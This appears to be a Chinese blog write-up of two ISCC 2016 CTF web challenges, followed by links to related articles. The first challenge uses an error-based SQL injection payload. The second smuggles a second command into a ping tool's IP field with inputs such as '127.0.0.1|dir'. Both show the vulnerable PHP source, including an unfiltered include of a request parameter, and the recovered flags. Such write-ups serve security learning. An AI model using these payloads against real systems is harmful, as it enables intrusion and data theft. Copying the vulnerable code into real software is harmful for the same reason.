【CTF WEB】ISCC 2016 web 2题记录
偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做。
第1题 sql注入:
题目知识
考察sql注入知识,题目地址:http://101.200.145.44/web1//index.php
做题过程
第一步:注入Playload
user=flag&pass=' or updatexml(1,concat(0x7e,(select pw from user limit 1,1 )),0)# '
第二步:注入效果
Masel's secure site 重置数据库 Error: XPATH syntax error: '~*75DBBA7B5806E761411'
第三步:获取源码,得知用户名为flag,使用注入出的密码登录可得到flag
用户名为flag 密码为:*75DBBA7B5806E761411
Loggedin!Flag:5a2f5d8f-58fa-481b-a19f-9aab97ba6a4b
相关源码
http://101.200.145.44/web1//index.php.txt
<html>
<head>
Masel's secure site
</head>
<body> <a href="setup-db.php">重置数据库</a> <?php
include("auth.php");
$servername = $host;
$username = $dbuser;
$password = $dbpass;
$database = $dbname; error_reporting(0);
if($_POST["user"] && $_POST["pass"]) {
$conn = mysqli_connect($servername, $username, $password, $database);
if ($conn->connect_error) {
die("Connection failed: " . mysqli_error($conn));
}
$user = $_POST["user"];
$pass = $_POST["pass"]; $sql = "select user from user where pw='$pass'";
//echo $sql;
$query = mysqli_query($conn,$sql);
if (!$query) {
printf("Error: %s\n", mysqli_error($conn));
exit();
}
$row = mysqli_fetch_array($query);
//echo $row["pw"];
if ($row[user]){
if ($row[user] == "flag" && $user=="flag") {
echo "<p>Logged in! Flag: ****************** </p>";
}
else{
echo "<p>Password is right, but it's not for the flag </p>";
}
}
else {
echo("<p>Wrong password!</p>");
}
} ?> <form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.php.txt">Source</a>
</html>
key
Loggedin!Flag:5a2f5d8f-58fa-481b-a19f-9aab97ba6a4b
第2题:命令执行
题目知识
考察命令执行的绕过,题目地址:http://101.200.145.44/web2//index.php
做题过程
第一步:得到文件名
127.0.0.1|dir
或
127.0.0.1&&dir 执行结果
1C9976C230DA289C1C359CD2A7C02D48 index.php index.php.txt
第二步:再次得到文件名
127.0.0.1|dir 1C9976C230DA289C1C359CD2A7C02D48 执行结果
flag.php
第三步:直接访问
连接URL地址直接访问http://101.200.145.44/web2/1C9976C230DA289C1C359CD2A7C02D48/flag.php
相关源码
<?php
header("Content-type: text/html; charset=utf-8");
?>
<html>
<head>
<title></title>
</head>
<body>
<div align="center">
<h1 al>我刚做了一个ping命令的小工具,快试一下吧!</h1> <div >
<p>请输入目标IP</p>
<form name="ping" action="index.php" method="post">
<input type="text" name="ip" size="30">
<input type="submit" value="submit" name="submit">
</form>
</div>
<div>
</body>
</html>
<?php
if( isset( $_POST[ 'submit' ] ) ) { $target = $_REQUEST[ 'ip' ];
if(preg_match('/dir|cd|^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/',$target))
{
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.iconv('GB2312', 'UTF-8',$cmd).'</pre>'; } else
{
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.iconv('GB2312', 'UTF-8',$cmd).'</pre>';
}
}
else
echo "输入格式不正确!";
}
if( isset($_GET['file']))
{
include($_GET['file']);
}
?>
key
flag{0d143dcd-5b29-4f4f-9b16-73665aeb45a8}
【CTF WEB】ISCC 2016 web 2题记录的更多相关文章
- [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]
前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...
- Web前端错题模糊题记录
title: Web前端错题模糊题记录 toc: true date: 2018-09-20 10:04:36 categories: Web tags: HTML CSS JavaScript HT ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- 攻防世界 web 新手练习 刷题记录
1.view_source 既然让看源码,那就F12直接就能看到. 2.robots 先百度去简单了解一下robots协议 robots协议(robots.txt),robots.txt文件在网站根目 ...
- Velocity China 2016 Web 性能与运维大会:构建快速、可扩展的弹性网站
Velocity China 2016 Web 性能与运维大会是一场关于构建快速.可扩展的弹性网站所需要的Web性能.运维及开发运维的训练.大会将于2016年12月1日在北京拉开帷幕,此次大会被众多业 ...
- WEB应用打成jar包全记录
内容属原创,转载请注明出处 题外 由于项目的需求—不管是怎么产生的这个需求—总之,需要支持把一个web应用打成jar包供其他应用使用,这就有了下面的过程. 这个过程里用到了Spring和SpringM ...
- 刷题记录:[0CTF 2016]piapiapia
目录 刷题记录:[0CTF 2016]piapiapia 一.涉及知识点 1.数组绕过正则及相关 2.改变序列化字符串长度导致反序列化漏洞 二.解题方法 刷题记录:[0CTF 2016]piapiap ...
- Web初学-入门和tomcat介绍记录
一.WEB开发的相关知识 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资源分为: 静态web资源(如html 页面) ...
随机推荐
- 修复VirtualBox "This kernel requires the following features not present on the CPU: pae Unable to boot – please use a kernel appropriate for your CPU"
异常处理汇总-开发工具 http://www.cnblogs.com/dunitian/p/4522988.html 修复VirtualBox "This kernel requires ...
- 2019.3.18考试&2019.3.19考试&2019.3.21考试
2019.3.18 C O D E T1 树上直接贪心,环上for一遍贪心 哇说的简单,码了将近一下午终于码出来了 感觉自己码力/写题策略太糟糕了,先是搞了一个细节太多的写法最后不得不弃疗了,然后第二 ...
- (转)Spring文件上传,包括一次选中多个文件
背景: http://www.cnblogs.com/lixuwu/p/8495275.html已经实现了单文件的上传和下载,多文件的上传是另一种情景,这里记录下来 实现过程 先说前台. 运行以后就是 ...
- C++11并发——多线程std::mutex (二)
https://www.cnblogs.com/haippy/p/3237213.html Mutex 又称互斥量,C++ 11中与 Mutex 相关的类(包括锁类型)和函数都声明在 <mute ...
- echarts2 饼图处理标签文字过长使之达到指定字数换行的目的
在使用echarts2的过程中,有时会遇到标签文字过长导致显示不完整的问题.例如: 这时候就需要用到 标签里的formatter 回调函数来处理这种情况了. 方式一: formatter : ' { ...
- Tomcat定义虚拟主机案例
Tomcat定义虚拟主机案例 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.准备环境 1>.创建web程序的根目录 [root@yinzhengjie ~]# mkdir ...
- ruby pluck用法,可以快速从数据库获取 对象的 指定字段的集合数组
可以快速从数据库获取 对象的 指定字段的集合数组 比如有一个users表,要等到user的id数组: select id from users where age > 20; 要实现在如上sql ...
- java实现《剑指offer》(一)1~10
每段代码都是在牛客网在线编程通过后,然后拷过来的,准确性可以保证. 1.二维数组中的查找 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序.请完成一个函数,输入 ...
- 将文本(lrc,txt)文件转换成UTF-8格式
UTF-8是UNICODE的一种变长字符编码又称万国码,由Ken Thompson于1992年创建.现在已经标准化为RFC 3629.UTF-8用1到6个字节编码UNICODE字符.用在网页上可以同一 ...
- python学习笔记9-单元测试unittest
Python中有一个自带的单元测试框架是unittest模块,用它来做单元测试,它里面封装好了一些校验返回的结果方法和一些用例执行前的初始化操作. 在说unittest之前,先说几个概念: TestC ...